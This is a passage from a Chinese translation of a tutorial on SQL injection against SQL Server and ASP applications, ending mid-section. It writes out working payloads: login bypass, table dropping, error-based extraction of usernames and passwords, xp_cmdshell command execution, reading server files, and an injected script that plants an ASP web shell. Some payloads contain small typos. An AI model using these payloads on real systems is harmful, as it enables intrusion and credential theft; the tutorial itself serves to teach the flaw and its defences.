介紹:SQL是一種用于關(guān)系數(shù)據(jù)庫的結(jié)構(gòu)化查詢語言。它分為許多種,但大多數(shù)都松散地基于美國國家標(biāo)準(zhǔn)化組織最新的標(biāo)準(zhǔn)SQL-92。典型的執(zhí)行語句是query,它能夠收集比較有達(dá)標(biāo)性的記錄并返回一個(gè)單一的結(jié)果集。SQL語言可以修改數(shù)據(jù)庫結(jié)構(gòu)(數(shù)據(jù)定義語言)和操作數(shù)據(jù)庫內(nèi)容(數(shù)據(jù)操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。
當(dāng)一個(gè)攻擊者能夠通過往query中插入一系列的sql語句來操作數(shù)據(jù)寫入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。
一個(gè)典型的SQL語句如下:
Select id,forename,surname from authors
這條語句將返回authors表中所有行的id,forename和surname列。這個(gè)結(jié)果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要著重指明的是字符串'john'和'smith'被單引號(hào)限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個(gè)查詢中注入一些SQL語句,
如下:
Forename:jo'hn
Surname:smith
查詢語句變?yōu)椋?
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
當(dāng)數(shù)據(jù)庫試圖去執(zhí)行這個(gè)查詢時(shí),它將返回如下錯(cuò)誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成這種結(jié)果的原因是插入了.作為定界符的單引號(hào)。數(shù)據(jù)庫嘗試去執(zhí)行'hn',但是失敗。如果攻擊者提供特別的輸入如:
Forename:jo';drop table authors—
Surname:
結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。
看上去好象通過從輸入中去掉單引號(hào)或者通過某些方法避免它們都可以解決這個(gè)問題。這是可行的,但是用這種方法做解決方法會(huì)存在幾個(gè)困難。第一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應(yīng)該像這樣:
Select id,forename,surname from authors where id=1234
在這種情況下,一個(gè)攻擊者可以非常簡(jiǎn)單地在數(shù)字的結(jié)尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號(hào);在數(shù)據(jù)庫管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用'#'限定。第二,避免單引號(hào)盡管看上去可以,但是是沒必要的,原因我們稍后再講。
我們更進(jìn)一步地使用一個(gè)簡(jiǎn)單的ASP登陸頁面來指出哪些能進(jìn)入SQLSERVER數(shù)據(jù)庫并且嘗試鑒別進(jìn)入一些虛構(gòu)的應(yīng)用程序的權(quán)限。
這是一個(gè)提交表單頁的代碼,讓用戶輸入用戶名和密碼:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代碼,它是用來控制登陸的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出現(xiàn)問題的地方是process_lgin.asp中產(chǎn)生查詢語句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用戶輸入的信息如下:
Username:';drop table users—
Password:
數(shù)據(jù)庫中表users將被刪除,拒絕任何用戶進(jìn)入應(yīng)用程序。'—'符號(hào)在Transact-SQL中表示忽略'—'以后的語句,';'符號(hào)表示一個(gè)查詢的結(jié)束和另一個(gè)查詢的開始。'—'位于username字段中是必須的,它為了使這個(gè)特殊的查詢終止,并且不返回錯(cuò)誤。
攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
Username:admin'—
攻擊者可以使用users表中第一個(gè)用戶,輸入如下:
Username:' or 1=1—
更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下:
Username:' union select 1,'fictional_user','some_password',1—
這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫中返回結(jié)果的一部分。
通過錯(cuò)誤消息獲得信息
這個(gè)幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過作者滲透測(cè)試的;后來David寫了一份文檔,后來作者參考了這份文檔。這些解釋討論了‘錯(cuò)誤消息‘潛在的機(jī)制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。
為了操作數(shù)據(jù)庫中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫和某些表的結(jié)構(gòu)。例如我們可以使用如下語句創(chuàng)建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后將下面的用戶插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我們的攻擊者想插入一個(gè)自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運(yùn),至于privs字段不清楚。攻擊者可能插入一個(gè)'1',這樣只給他自己一個(gè)低權(quán)限的用戶。
幸運(yùn)地,如果從應(yīng)用程序(默認(rèn)為ASP行為)返回錯(cuò)誤消息,那么攻擊者可以確定整個(gè)數(shù)據(jù)庫的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。
(下面以一個(gè)簡(jiǎn)單的數(shù)據(jù)庫和asp腳本來舉例說明他們是怎么工作的)
首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句:
Username:' having 1=1—
這樣將會(huì)出現(xiàn)如下錯(cuò)誤:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此現(xiàn)在攻擊者知道了表的名字和第一個(gè)地段的名字。他們?nèi)匀豢梢酝ㄟ^把字段放到group by子句只能感去找到一個(gè)一個(gè)字段名,如下:
Username:' group by users.id having 1=1—
出現(xiàn)的錯(cuò)誤如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最終攻擊者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
這句話并不產(chǎn)生錯(cuò)誤,相當(dāng)于:
select * from users where username=''
因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列'id,username,password,privs'。
能夠確定每個(gè)列的類型是非常有用的。這可以通過使用類型轉(zhuǎn)化來實(shí)現(xiàn),例如:
Username:' union select sum(username) from users—
這利用了SQLSERVER在確定兩個(gè)結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計(jì)算sum會(huì)得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
這告訴了我們'username'字段的類型是varchar。如果是另一種情況,我們嘗試去計(jì)算sum()的是數(shù)字類型,我們得到的錯(cuò)誤消息告訴我們兩個(gè)集合的字段數(shù)量不相等。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫中任何表中的任何字段的類型。
這樣攻擊者就可以寫一個(gè)好的insert查詢,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯(cuò)誤消息顯示環(huán)境信息或數(shù)據(jù)庫。通過運(yùn)行一列一定格式的字符串可以獲得標(biāo)準(zhǔn)的錯(cuò)誤消息:
select * from master ..sysmessages
解釋這些將實(shí)現(xiàn)有趣的消息。
一個(gè)特別有用的消息關(guān)系到類型轉(zhuǎn)化。如果你嘗試將一個(gè)字符串轉(zhuǎn)化成一個(gè)整型數(shù)字,那么字符串的所有內(nèi)容會(huì)返回到錯(cuò)誤消息中。例如在我們簡(jiǎn)單的登陸頁面中,在username后面會(huì)顯示出SQLSERVER的版本和所運(yùn)行的操作系統(tǒng)信息:
Username:' union select version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
這句嘗試去將內(nèi)置的'version'常量轉(zhuǎn)化成一個(gè)整型數(shù)字,因?yàn)閡sers表中的第一列是整型數(shù)字。
這種技術(shù)可以用來讀取數(shù)據(jù)庫中任何表的任何值。自從攻擊者對(duì)用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:
Username:' union select min(username),1,1,1 from users where username>'a'—
這句選擇users表中username大于'a'中的最小值,并試圖把它轉(zhuǎn)化成一個(gè)整型數(shù)字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過使用where子句和查詢到的用戶名去尋找下一個(gè)用戶。
Username:' union select min(username),1,1,1 from users where username>'admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以開始收集密碼:
Username:' union select password,1,1,1 from users where username='admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個(gè)更高級(jí)的技術(shù)是將所有用戶名和密碼連接長一個(gè)單獨(dú)的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個(gè)例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻擊者使用這個(gè)當(dāng)作用戶名登陸(都在一行)
Username: ''; begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+username+''/''+password from users where username>@ret select @ret as ret into foo end—
這就創(chuàng)建了一個(gè)foo表,里面只有一個(gè)單獨(dú)的列''ret'',里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個(gè)低權(quán)限的用戶能夠在同一個(gè)數(shù)據(jù)庫中創(chuàng)建表,或者創(chuàng)建臨時(shí)數(shù)據(jù)庫。
然后攻擊者就可以取得我們要得到的字符串:
Username:'' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ''80040e07''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '': admin/r00tr0x! guest/guest chris/password fred/sesame'' to a column of data type int.
/process_login.asp, line 35
然后丟棄(刪除)表來清楚腳?。?
Username:''; drop table foo—
這個(gè)例子僅僅是這種技術(shù)的一個(gè)表面的作用。沒必要說,如果攻擊者能夠從數(shù)據(jù)庫中獲得足夠的錯(cuò)誤西,他們的工作就變的無限簡(jiǎn)單。
獲得更高的權(quán)限
一旦攻擊者控制了數(shù)據(jù)庫,他們就想利用那個(gè)權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過許多途徑來達(dá)到:
1. 在數(shù)據(jù)庫服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴(kuò)展存儲(chǔ)過程執(zhí)行命令。
2. 利用xp_regread擴(kuò)展存儲(chǔ)過程去讀注冊(cè)表的鍵值,當(dāng)然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運(yùn)行的)
3. 利用其他存儲(chǔ)過程去改變服務(wù)器
4. 在連接的服務(wù)器上執(zhí)行查詢
5. 創(chuàng)建客戶擴(kuò)展存儲(chǔ)過程去在SQLSERVER進(jìn)程中執(zhí)行溢出代碼
6. 使用''bulk insert''語法去讀服務(wù)器上的任意文件
7. 使用bcp在服務(wù)器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲(chǔ)過程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情
這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:
[xp_cmdshell]
許多存儲(chǔ)過程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊(cè)表交互。
Xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過程。例如:
Exec master..xp_cmdshell ''dir''
將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。
Exec master..xp_cmdshell ''net user''
將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。
[xp_regread]
另一個(gè)有用的內(nèi)置存儲(chǔ)過程是xp_regXXXX類的函數(shù)集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
這些函數(shù)的使用方法舉例如下:
exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEMCurrentControlSetServiceslanmanserverparameters'', ''nullsessionshares''
這將確定什么樣的會(huì)話連接在服務(wù)器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,''SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities''
這將顯示服務(wù)器上所有SNMP團(tuán)體配置。在SNMP團(tuán)體很少被更改和在許多主機(jī)間共享的情況下,有了這些信息,攻擊者或許會(huì)重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
這很容易想象到一個(gè)攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機(jī)器重啟時(shí)啟動(dòng),或在下次任何用戶登陸時(shí)執(zhí)行一條任意的命令。
[其他存儲(chǔ)過程]
xp_servicecontrol過程允許用戶啟動(dòng),停止,暫停和繼續(xù)服務(wù):
exec master..xp_servicecontrol ''start'',''schedule''
exec master..xp_servicecontrol ''start'',''server''
下表中列出了少量的其他有用的存儲(chǔ)過程:
Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動(dòng)器
Xp_dirtree 允許獲得一個(gè)目錄樹
Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個(gè)壓縮文件
Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域
Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程
[Linked Servers]
SQL SERVER提供了一種允許服務(wù)器連接的機(jī)制,也就是說允許一臺(tái)數(shù)據(jù)庫服務(wù)器上的查詢能夠操作另一臺(tái)服務(wù)器上的數(shù)據(jù)。這個(gè)鏈接存放在master.sysservers表中。如果一個(gè)連接的服務(wù)器已經(jīng)被設(shè)置成使用''sp_addlinkedsrvlogin''過程,當(dāng)前可信的連接不用登陸就可以訪問到服務(wù)器。''openquery''函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。
[Custom extended stored procedures]
擴(kuò)展存儲(chǔ)過程應(yīng)用程序接口是相當(dāng)簡(jiǎn)單的,創(chuàng)建一個(gè)攜帶惡意代碼的擴(kuò)展存儲(chǔ)過程動(dòng)態(tài)連接庫是一個(gè)相當(dāng)簡(jiǎn)單的任務(wù)。使用命令行有幾個(gè)方法可以上傳動(dòng)態(tài)連接庫到SQL服務(wù)器上,還有其它包括了多種自動(dòng)通訊的通訊機(jī)制,比如HTTP下載和FTP腳本。
一旦動(dòng)態(tài)連接庫文件在機(jī)器上運(yùn)行即SQL服務(wù)器能夠被訪問——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴(kuò)展存儲(chǔ)過程(這種情況下,我們的惡意存儲(chǔ)過程就是一個(gè)能輸出服務(wù)器的系統(tǒng)文件的小的木馬):
Sp_addextendedproc ''xp_webserver'',''c: empxp_foo.dll''
在正常的方式下,這個(gè)擴(kuò)展存儲(chǔ)過程可以被運(yùn)行:
exec xp_webserver
一旦這個(gè)程序被運(yùn)行,可以使用下面的方法將它除去:
xp_dropextendedproc ''xp_webserver''
[將文本文件導(dǎo)入表]
使用''bulk insert''語法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。簡(jiǎn)單地創(chuàng)建這個(gè)表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:
bulk insert foo from ''c:inetpubwwwrootprocess_login.asp''
可以使用上述的錯(cuò)誤消息技術(shù),或者使用''union''選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個(gè)用來獲取存放在數(shù)據(jù)庫服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。
[使用bcp建立文本文件]
使用''bulk insert''的相對(duì)技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具。''bcp'',即''bulk copy program''
既然 bcp可以從SQL服務(wù)進(jìn)程外訪問數(shù)據(jù)庫,它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機(jī)制(如果服務(wù)器配置成可以使用它)。
命令行格式如下:
bcp "select * from text..foo" queryout c:inetpubwwwroot uncommand.asp –c -Slocalhost –Usa –Pfoobar
''S''參數(shù)為執(zhí)行查詢的服務(wù)器,''U''參數(shù)為用戶名,''P''參數(shù)為密碼,這里為''foobar''
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了幾個(gè)內(nèi)置的允許創(chuàng)建ActiveX自動(dòng)執(zhí)行腳本的存儲(chǔ)過程。這些腳本和運(yùn)行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動(dòng)執(zhí)行對(duì)象并和它們交互。一個(gè)自動(dòng)執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個(gè)例子:
(1)這個(gè)例子使用''wscript.shell''對(duì)象建立了一個(gè)記事本的實(shí)例:
wscript.shell example
declare @o int
exec sp_oacreate ''wscript.shell'',@o out
exec sp_oamethod @o,''run'',NULL,''notepad.exe''
我們可以通過指定在用戶名后面來執(zhí)行它:
Username:''; declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—
(2)這個(gè)例子使用''scripting.filesystemobject''對(duì)象讀一個(gè)已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ''scripting.filesystemobject'', @o out
exec sp_oamethod @o, ''opentextfile'', @f out, ''c:oot.ini'', 1
exec @ret=sp_oamethod @f,''readline'',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,''readline'',@line out
end
(3)這個(gè)例子創(chuàng)建了一個(gè)能執(zhí)行通過提交到的任何命令:
-- scripting.filesystemobject example – create a ''run this''.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ''scripting.filesystemobject'',@o out
exec sp_oamethod @o,''createtextfile'',@f out,''c:inetpubwwwrootfoo.asp'',1
exec @ret=sp_oamethod @f,''writeline'',NULL,''<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>''
需要指出的是如果運(yùn)行的環(huán)境是WIN NT4+IIS4平臺(tái)上,那么通過這個(gè)程序運(yùn)行的命令是以系統(tǒng)權(quán)限運(yùn)行的。在IIS5中,它以一個(gè)比較低的權(quán)限IWAM_XXXaccount運(yùn)行。
(4)這些例子闡述了這個(gè)技術(shù)的適用性;它可以使用''speech.voicetext''對(duì)象引起SQL SERVER發(fā)聲:
declare @o int,@ret int
exec sp_oacreate ''speech.voicetext'',@o out
exec sp_oamethod @o,''register'',NULL,''foo'',''bar''
exec sp_oasetproperty @o,''speed'',150
exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to,us'',528
waitfor delay ''00:00:05''
我們可以在我們假定的例子中,通過指定在用戶名后面來執(zhí)行它(注意這個(gè)例子不僅僅是注入一個(gè)腳本,同時(shí)以admin權(quán)限登陸到應(yīng)用程序):
Username:admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''--
[存儲(chǔ)過程]
傳說如果一個(gè)ASP應(yīng)用程序在數(shù)據(jù)庫中使用了存儲(chǔ)過程,那么SQL注入是不可能的。這句話只對(duì)了一半,這要看ASP腳本中調(diào)用這個(gè)存儲(chǔ)過程的方式。
本質(zhì)上,如果一個(gè)有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫。
比較好的常規(guī)的標(biāo)準(zhǔn)是:
?如果一個(gè)ASP腳本能夠產(chǎn)生一個(gè)被提交的SQL查詢字符串,即使它使用了存儲(chǔ)過程也是能夠引起SQL注入的弱點(diǎn)。
?如果一個(gè)ASP腳本使用一個(gè)過程對(duì)象限制參數(shù)的往存儲(chǔ)過程中分配(例如ADO的用于參數(shù)收集的command對(duì)象),那么通過這個(gè)對(duì)象的執(zhí)行,它一般是安全的。
明顯地,既然新的攻擊技術(shù)始終地被發(fā)現(xiàn),好的慣例仍然是驗(yàn)證用戶所有的輸入。
為了闡明存儲(chǔ)過程的查詢注入,執(zhí)行以下語句:
sp_who ''1'' select * from sysobjects
or
sp_who ''1'';select * from sysobjects
任何一種方法,在存儲(chǔ)過程后,追加的查詢依然會(huì)執(zhí)行。
[高級(jí)SQL注入]
通常情況下,一個(gè)web應(yīng)用程序?qū)?huì)過濾單引號(hào)(或其他符號(hào)),或者限定用戶提交的數(shù)據(jù)的長度。
在這部分,我們討論一些能幫助攻擊者饒過那些明顯防范SQL注入,躲避被記錄的技術(shù)。
[沒有單引號(hào)的字符串]
有時(shí)候開發(fā)人員會(huì)通過過濾所有的單引號(hào)來保護(hù)應(yīng)用程序,他們可能使用VBScript中的replace函數(shù)或類似:
function escape(input)
input=replace(input,"''","''''")
escape=input
end function
無可否認(rèn)地這防止了我們所有例子的攻擊,再除去'';''符號(hào)也可以幫很多忙。但是在一個(gè)大型的應(yīng)用程序中,好象個(gè)別值期望用戶輸入的是數(shù)字。這些值沒有被限定,因此為攻擊者提供了一個(gè)SQL注入的弱點(diǎn)。
如果攻擊者想不使用單引號(hào)產(chǎn)生一個(gè)字符串值,他可以使用char函數(shù),例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
這就是一個(gè)能夠往表中插入字符串的不包含單引號(hào)的查詢。
淡然,如果攻擊者不介意使用一個(gè)數(shù)字用戶名和密碼,下面的語句也同樣會(huì)起作用:
insert into users values(667,
123,
123,
oxffff)
SQL SERVER自動(dòng)地將整型轉(zhuǎn)化為varchar型的值。
[Second-Order SQL Injection]
即使應(yīng)用程序總是過濾單引號(hào),攻擊者依然能夠注入SQL同樣通過應(yīng)用程序使數(shù)據(jù)庫中的數(shù)據(jù)重復(fù)使用。
例如,攻擊者可能利用下面的信息在應(yīng)用程序中注冊(cè):
Username:admin''—
Password:password
應(yīng)用程序正確過濾了單引號(hào),返回了一個(gè)類似這樣的insert語句: